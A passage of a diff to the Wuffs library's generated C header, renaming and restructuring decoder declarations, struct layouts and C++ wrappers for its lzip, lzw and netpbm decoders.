+- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__num_decoded_frame_configs( +- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__num_decoded_frames( +- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__restart_frame( +- wuffs_netpbm__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzip__decoder__dst_history_retain_length( ++ const wuffs_lzip__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_netpbm__decoder__set_report_metadata( +- wuffs_netpbm__decoder* self, +- uint32_t a_fourcc, +- bool a_report); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzip__decoder__workbuf_len( ++ const wuffs_lzip__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__tell_me_more( +- wuffs_netpbm__decoder* self, ++wuffs_lzip__decoder__transform_io( ++ wuffs_lzip__decoder* self, + wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__history_retain_length( +- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_netpbm__decoder__workbuf_len( +- const wuffs_netpbm__decoder* self); ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); + + #ifdef __cplusplus + } // extern "C" +@@ -10338,7 +10882,7 @@ wuffs_netpbm__decoder__workbuf_len( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_netpbm__decoder__struct { ++struct wuffs_lzip__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -10349,42 +10893,41 @@ struct wuffs_netpbm__decoder__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__image_decoder; ++ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; + wuffs_base__vtable null_vtable; + +- uint32_t f_pixfmt; +- uint32_t f_width; +- uint32_t f_height; +- uint32_t f_max_value; +- uint8_t f_call_sequence; +- uint64_t f_frame_config_io_position; +- uint32_t f_dst_x; +- uint32_t f_dst_y; +- wuffs_base__pixel_swizzler f_swizzler; ++ bool f_ignore_checksum; ++ uint64_t f_dsize_have; ++ uint64_t f_ssize_have; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; + } private_impl; + ++ struct { ++ wuffs_crc32__ieee_hasher f_crc32; ++ wuffs_lzma__decoder f_lzma; ++ ++ struct { ++ uint64_t scratch; ++ } s_do_transform_io; ++ } private_data; ++ + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_netpbm__decoder__alloc()); ++ return unique_ptr(wuffs_lzip__decoder__alloc()); + } + +- static inline wuffs_base__image_decoder::unique_ptr +- alloc_as__wuffs_base__image_decoder() { +- return wuffs_base__image_decoder::unique_ptr( +- wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder()); ++ static inline wuffs_base__io_transformer::unique_ptr ++ alloc_as__wuffs_base__io_transformer() { ++ return wuffs_base__io_transformer::unique_ptr( ++ wuffs_lzip__decoder__alloc_as__wuffs_base__io_transformer()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -10400,10 +10943,10 @@ struct wuffs_netpbm__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_netpbm__decoder__struct() = delete; +- wuffs_netpbm__decoder__struct(const wuffs_netpbm__decoder__struct&) = delete; +- wuffs_netpbm__decoder__struct& operator=( +- const wuffs_netpbm__decoder__struct&) = delete; ++ wuffs_lzip__decoder__struct() = delete; ++ wuffs_lzip__decoder__struct(const wuffs_lzip__decoder__struct&) = delete; ++ wuffs_lzip__decoder__struct& operator=( ++ const wuffs_lzip__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -10423,128 +10966,327 @@ struct wuffs_netpbm__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_netpbm__decoder__initialize( ++ return wuffs_lzip__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +- inline wuffs_base__image_decoder* +- upcast_as__wuffs_base__image_decoder() { +- return (wuffs_base__image_decoder*)this; ++ inline wuffs_base__io_transformer* ++ upcast_as__wuffs_base__io_transformer() { ++ return (wuffs_base__io_transformer*)this; + } + + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_netpbm__decoder__get_quirk(this, a_key); ++ return wuffs_lzip__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_netpbm__decoder__set_quirk(this, a_key, a_value); ++ return wuffs_lzip__decoder__set_quirk(this, a_key, a_value); + } + +- inline wuffs_base__status +- decode_image_config( +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- return wuffs_netpbm__decoder__decode_image_config(this, a_dst, a_src); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_lzip__decoder__dst_history_retain_length(this); + } + +- inline wuffs_base__status +- decode_frame_config( +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- return wuffs_netpbm__decoder__decode_frame_config(this, a_dst, a_src); ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_lzip__decoder__workbuf_len(this); + } + + inline wuffs_base__status +- decode_frame( +- wuffs_base__pixel_buffer* a_dst, ++ transform_io( ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- return wuffs_netpbm__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); +- } +- +- inline wuffs_base__rect_ie_u32 +- frame_dirty_rect() const { +- return wuffs_netpbm__decoder__frame_dirty_rect(this); ++ wuffs_base__slice_u8 a_workbuf) { ++ return wuffs_lzip__decoder__transform_io(this, a_dst, a_src, a_workbuf); + } + +- inline uint32_t +- num_animation_loops() const { +- return wuffs_netpbm__decoder__num_animation_loops(this); +- } ++#endif // __cplusplus ++}; // struct wuffs_lzip__decoder__struct + +- inline uint64_t +- num_decoded_frame_configs() const { +- return wuffs_netpbm__decoder__num_decoded_frame_configs(this); +- } ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- inline uint64_t +- num_decoded_frames() const { +- return wuffs_netpbm__decoder__num_decoded_frames(this); +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) || defined(WUFFS_NONMONOLITHIC) + +- inline wuffs_base__status +- restart_frame( +- uint64_t a_index, +- uint64_t a_io_position) { +- return wuffs_netpbm__decoder__restart_frame(this, a_index, a_io_position); +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) + +- inline wuffs_base__empty_struct +- set_report_metadata( +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_netpbm__decoder__set_report_metadata(this, a_fourcc, a_report); +- } ++// ---------------- Status Codes + +- inline wuffs_base__status +- tell_me_more( +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- return wuffs_netpbm__decoder__tell_me_more(this, a_dst, a_minfo, a_src); +- } ++extern const char wuffs_lzw__error__bad_code[]; ++extern const char wuffs_lzw__error__truncated_input[]; + +- inline uint64_t +- history_retain_length() const { +- return wuffs_netpbm__decoder__history_retain_length(this); +- } ++// ---------------- Public Consts + +- inline wuffs_base__range_ii_u64 +- workbuf_len() const { +- return wuffs_netpbm__decoder__workbuf_len(this); +- } ++#define WUFFS_LZW__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#endif // __cplusplus +-}; // struct wuffs_netpbm__decoder__struct ++#define WUFFS_LZW__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++#define WUFFS_LZW__QUIRK_LITERAL_WIDTH_PLUS_ONE 1348378624u + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) ++// ---------------- Struct Declarations + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) ++typedef struct wuffs_lzw__decoder__struct wuffs_lzw__decoder; + +-// ---------------- Status Codes ++#ifdef __cplusplus ++extern "C" { ++#endif + +-extern const char wuffs_nie__error__bad_header[]; +-extern const char wuffs_nie__error__truncated_input[]; +-extern const char wuffs_nie__error__unsupported_nie_file[]; ++// ---------------- Public Initializer Prototypes + +-// ---------------- Public Consts ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_lzw__decoder__initialize( ++ wuffs_lzw__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); ++ ++size_t ++sizeof__wuffs_lzw__decoder(void); ++ ++// ---------------- Allocs ++ ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. ++ ++wuffs_lzw__decoder* ++wuffs_lzw__decoder__alloc(void); ++ ++static inline wuffs_base__io_transformer* ++wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_lzw__decoder__alloc()); ++} ++ ++// ---------------- Upcasts ++ ++static inline wuffs_base__io_transformer* ++wuffs_lzw__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_lzw__decoder* p) { ++ return (wuffs_base__io_transformer*)p; ++} ++ ++// ---------------- Public Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_lzw__decoder__get_quirk( ++ const wuffs_lzw__decoder* self, ++ uint32_t a_key); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzw__decoder__set_quirk( ++ wuffs_lzw__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzw__decoder__dst_history_retain_length( ++ const wuffs_lzw__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzw__decoder__workbuf_len( ++ const wuffs_lzw__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzw__decoder__transform_io( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 ++wuffs_lzw__decoder__flush( ++ wuffs_lzw__decoder* self); ++ ++#ifdef __cplusplus ++} // extern "C" ++#endif ++ ++// ---------------- Struct Definitions ++ ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_lzw__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; ++ wuffs_base__vtable null_vtable; ++ ++ uint32_t f_pending_literal_width_plus_one; ++ uint32_t f_literal_width; ++ uint32_t f_clear_code; ++ uint32_t f_end_code; ++ uint32_t f_save_code; ++ uint32_t f_prev_code; ++ uint32_t f_width; ++ uint32_t f_bits; ++ uint32_t f_n_bits; ++ uint32_t f_output_ri; ++ uint32_t f_output_wi; ++ uint32_t f_read_from_return_value; ++ uint16_t f_prefixes[4096]; ++ ++ uint32_t p_transform_io; ++ uint32_t p_write_to; ++ } private_impl; ++ ++ struct { ++ uint8_t f_suffixes[4096][8]; ++ uint16_t f_lm1s[4096]; ++ uint8_t f_output[8199]; ++ } private_data; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_lzw__decoder__alloc()); ++ } ++ ++ static inline wuffs_base__io_transformer::unique_ptr ++ alloc_as__wuffs_base__io_transformer() { ++ return wuffs_base__io_transformer::unique_ptr( ++ wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_lzw__decoder__struct() = delete; ++ wuffs_lzw__decoder__struct(const wuffs_lzw__decoder__struct&) = delete; ++ wuffs_lzw__decoder__struct& operator=( ++ const wuffs_lzw__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_lzw__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } ++ ++ inline wuffs_base__io_transformer* ++ upcast_as__wuffs_base__io_transformer() { ++ return (wuffs_base__io_transformer*)this; ++ } ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_lzw__decoder__get_quirk(this, a_key); ++ } ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_lzw__decoder__set_quirk(this, a_key, a_value); ++ } ++ ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_lzw__decoder__dst_history_retain_length(this); ++ } ++ ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_lzw__decoder__workbuf_len(this); ++ } ++ ++ inline wuffs_base__status ++ transform_io( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ return wuffs_lzw__decoder__transform_io(this, a_dst, a_src, a_workbuf); ++ } ++ ++ inline wuffs_base__slice_u8 ++ flush() { ++ return wuffs_lzw__decoder__flush(this); ++ } ++ ++#endif // __cplusplus ++}; // struct wuffs_lzw__decoder__struct ++ ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) ++ ++// ---------------- Status Codes ++ ++extern const char wuffs_netpbm__error__bad_header[]; ++extern const char wuffs_netpbm__error__truncated_input[]; ++extern const char wuffs_netpbm__error__unsupported_netpbm_file[]; + +-#define WUFFS_NIE__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++// ---------------- Public Consts + +-#define WUFFS_NIE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_NETPBM__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +-typedef struct wuffs_nie__decoder__struct wuffs_nie__decoder; ++typedef struct wuffs_netpbm__decoder__struct wuffs_netpbm__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -10559,14 +11301,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_nie__decoder__initialize( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__initialize( ++ wuffs_netpbm__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_nie__decoder(void); ++sizeof__wuffs_netpbm__decoder(void); + + // ---------------- Allocs + +@@ -10576,19 +11318,19 @@ sizeof__wuffs_nie__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_nie__decoder* +-wuffs_nie__decoder__alloc(void); ++wuffs_netpbm__decoder* ++wuffs_netpbm__decoder__alloc(void); + + static inline wuffs_base__image_decoder* +-wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder(void) { +- return (wuffs_base__image_decoder*)(wuffs_nie__decoder__alloc()); ++wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_netpbm__decoder__alloc()); + } + + // ---------------- Upcasts + + static inline wuffs_base__image_decoder* +-wuffs_nie__decoder__upcast_as__wuffs_base__image_decoder( +- wuffs_nie__decoder* p) { ++wuffs_netpbm__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_netpbm__decoder* p) { + return (wuffs_base__image_decoder*)p; + } + +@@ -10596,35 +11338,35 @@ wuffs_nie__decoder__upcast_as__wuffs_base__image_decoder( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__get_quirk( +- const wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__get_quirk( ++ const wuffs_netpbm__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__set_quirk( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__set_quirk( ++ wuffs_netpbm__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_image_config( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__decode_image_config( ++ wuffs_netpbm__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_frame_config( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__decode_frame_config( ++ wuffs_netpbm__decoder* self, + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_frame( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__decode_frame( ++ wuffs_netpbm__decoder* self, + wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__pixel_blend a_blend, +@@ -10633,55 +11375,50 @@ wuffs_nie__decoder__decode_frame( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_nie__decoder__frame_dirty_rect( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__frame_dirty_rect( ++ const wuffs_netpbm__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_nie__decoder__num_animation_loops( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__num_animation_loops( ++ const wuffs_netpbm__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__num_decoded_frame_configs( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__num_decoded_frame_configs( ++ const wuffs_netpbm__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__num_decoded_frames( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__num_decoded_frames( ++ const wuffs_netpbm__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__restart_frame( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__restart_frame( ++ wuffs_netpbm__decoder* self, + uint64_t a_index, + uint64_t a_io_position); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_nie__decoder__set_report_metadata( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__set_report_metadata( ++ wuffs_netpbm__decoder* self, + uint32_t a_fourcc, + bool a_report); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__tell_me_more( +- wuffs_nie__decoder* self, ++wuffs_netpbm__decoder__tell_me_more( ++ wuffs_netpbm__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__history_retain_length( +- const wuffs_nie__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_nie__decoder__workbuf_len( +- const wuffs_nie__decoder* self); ++wuffs_netpbm__decoder__workbuf_len( ++ const wuffs_netpbm__decoder* self); + + #ifdef __cplusplus + } // extern "C" +@@ -10696,7 +11433,7 @@ wuffs_nie__decoder__workbuf_len( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_nie__decoder__struct { ++struct wuffs_netpbm__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -10713,40 +11450,36 @@ struct wuffs_nie__decoder__struct { + uint32_t f_pixfmt; + uint32_t f_width; + uint32_t f_height; ++ uint32_t f_max_value; + uint8_t f_call_sequence; ++ uint64_t f_frame_config_io_position; + uint32_t f_dst_x; + uint32_t f_dst_y; + wuffs_base__pixel_swizzler f_swizzler; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; + } private_impl; + +- struct { +- struct { +- uint64_t scratch; +- } s_do_decode_image_config[1]; +- } private_data; +- + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_nie__decoder__alloc()); ++ return unique_ptr(wuffs_netpbm__decoder__alloc()); + } + + static inline wuffs_base__image_decoder::unique_ptr + alloc_as__wuffs_base__image_decoder() { + return wuffs_base__image_decoder::unique_ptr( +- wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder()); ++ wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -10762,10 +11495,10 @@ struct wuffs_nie__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_nie__decoder__struct() = delete; +- wuffs_nie__decoder__struct(const wuffs_nie__decoder__struct&) = delete; +- wuffs_nie__decoder__struct& operator=( +- const wuffs_nie__decoder__struct&) = delete; ++ wuffs_netpbm__decoder__struct() = delete; ++ wuffs_netpbm__decoder__struct(const wuffs_netpbm__decoder__struct&) = delete; ++ wuffs_netpbm__decoder__struct& operator=( ++ const wuffs_netpbm__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -10785,7 +11518,7 @@ struct wuffs_nie__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_nie__decoder__initialize( ++ return wuffs_netpbm__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +@@ -10797,28 +11530,28 @@ struct wuffs_nie__decoder__struct { + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_nie__decoder__get_quirk(this, a_key); ++ return wuffs_netpbm__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_nie__decoder__set_quirk(this, a_key, a_value); ++ return wuffs_netpbm__decoder__set_quirk(this, a_key, a_value); + } + + inline wuffs_base__status + decode_image_config( + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { +- return wuffs_nie__decoder__decode_image_config(this, a_dst, a_src); ++ return wuffs_netpbm__decoder__decode_image_config(this, a_dst, a_src); + } + + inline wuffs_base__status + decode_frame_config( + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { +- return wuffs_nie__decoder__decode_frame_config(this, a_dst, a_src); ++ return wuffs_netpbm__decoder__decode_frame_config(this, a_dst, a_src); + } + + inline wuffs_base__status +@@ -10828,41 +11561,41 @@ struct wuffs_nie__decoder__struct { + wuffs_base__pixel_blend a_blend, + wuffs_base__slice_u8 a_workbuf, + wuffs_base__decode_frame_options* a_opts) { +- return wuffs_nie__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ return 